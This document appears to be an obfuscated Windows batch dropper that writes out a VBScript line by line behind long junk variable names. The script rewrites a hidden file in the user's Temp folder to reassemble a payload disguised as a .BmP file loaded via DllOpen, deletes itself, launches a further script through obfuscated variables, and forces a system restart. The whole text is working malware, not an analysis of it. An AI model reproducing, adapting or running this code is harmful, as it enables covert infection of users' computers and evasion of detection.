>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set objFFFFFSSSSSOOOO = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set objFile = objFFFFFSSSSSOOOO.OpenTextFile("C:\\Users\\%USERNAME%\\Temp\\%VENDERMUITO%\\%VENDERMUITO%.TT", ForReading)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strText = objFile.ReadAll
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% objFile.Close
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strNewText = Replace(strText, "DllOpen('%VENDERMUITO%.BmP'", "PORRAMANOSV")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strNewText1 = Replace(strNewText, "-", "")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strNewText2 = Replace(strNewText1, "PORRAMANOSV", "DllOpen('%VENDERMUITO%.BmP'")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set objFile = objFFFFFSSSSSOOOO.OpenTextFile("C:\\Users\\%USERNAME%\\Temp\\%VENDERMUITO%\\%VENDERMUITO%.TT", ForWriting)
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% objFile.WriteLine strNewText2
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% objFile.Close
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% End If
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% Set ze8FrtUprp72U1Xo9Rec0gzUBqSOpW1C7r0dP4J7PzVVlm7hAxFPRZqPj3L95aLxJ8EtC99UIlN = CreateObject("Scripting.FileSystemObject")
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% strScript = Wscript.ScriptFullName
>>%F4M399M9F9FM49NASIDC8ASDC87ASD65CASD76C48AS9D07C98098DAS978D6GY7BHNSVYS6S9FSDNV6SDVH9SDFV6SDNFVSDFV5SDFVSD76FV0NS7DFV7SD6FV0SFD9V6BSD5VSDFVB65SDFVB9NSD9FV7S8FG8V5HS67HHHHHH% ze8FrtUprp72U1Xo9Rec0gzUBqSOpW1C7r0dP4J7PzVVlm7hAxFPRZqPj3L95aLxJ8EtC99UIlN.DeleteFile(strScript)
cls
@echo off
ping 127.0.0.1 -n 1 > nul
start wscript //Nologo %USERPROFILE%\Temp\%MC8A8S8DAOANC8N8ANC8ANDCAO8SDCNASD8CHA9S7DCASD7CTD7A5CATS76DCA6S7DGC6ASIDKFNY4Y3BB84378BC4C87378438748738BFBYBFYBBFBFBFBFFBBB% %Rc3ZX6E0pAggGlACysp3d1CroCV9ssA4SevggJm18d149klmO5H9I3iHSI1USclkfd2tPxSnae7p9Mr4sHcu1S96Zw% %VAiUjE7O46z4naZvHBXhu2NQdevR6QLH4Zf6i2Ya56DlcR0Mn2Z3RQ4jIZ2N8h355a93BNbvY% %Rbdv9IUyOUVHZm64GD904l1Bc2LaGvQRJ7L7qYfao1Pkgpqy2gpXVCMPiLguZVZ2QyS17Ry60QgXZgNX1cze8u2k% && @echo off
start C:\WINDOWS\system32\shutdown.exe -r -t 400
ENDLOCAL
EXIT